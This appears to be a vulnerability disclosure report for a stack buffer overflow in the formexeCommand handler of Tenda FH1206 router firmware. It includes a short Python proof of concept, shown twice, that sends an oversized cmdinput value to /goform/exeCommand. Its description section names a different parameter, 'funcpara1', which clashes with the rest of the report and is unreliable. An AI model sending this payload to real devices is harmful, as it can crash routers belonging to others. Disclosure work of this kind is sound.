Tenda FH1206 V1.2.0.8(8155)_EN
V1.2.0.8(8155)_EN
The Tenda FH1206 V1.2.0.8(8155)_EN has a stack overflow vulnerability located in the formexeCommand
function. The src
variable receives the cmdinput
parameter from a POST request and is later assigned to the v7
variable, which is fixed at 512 bytes. However, since the user can control the input of cmdinput
, the statement strcpy(v7, src);
can cause a buffer overflow. The user-provided cmdinput
can exceed the capacity of the v7
array, triggering this security vulnerability.
# formexeCommand
import requests
ip = '192.168.0.100:80'
url = f"http://{ip}/goform/exeCommand"
data = {'cmdinput':'a'*999}
ret = requests.post(url, data)
###Product_version
Tenda FH1206
V1.2.0.8(8155)_EN
###Affected_component
the "formexeCommand " function of /bin/httpd; /bin/httpd
###Attack_vector
use a simple exp to attack, like this:
#python3
import requests
ip = '192.168.0.100:80'
url = f"http://{ip}/goform/exeCommand"
data = {'cmdinput':'a'*999}
ret = requests.post(url, data)
###Discription
Tenda FH1206 V1.2.0.8(8155)_EN was discovered to contain a stack-based buffer overflow vulnerability via the funcpara1 parameter at ip/goform/exeCommand.
###Refernce
<https://palm-vertebra-fe9.notion.site/formexeCommand-200db77a90d34c708b903c935c7c65c0>
<https://www.tendacn.com/hk/download/detail-2344.html>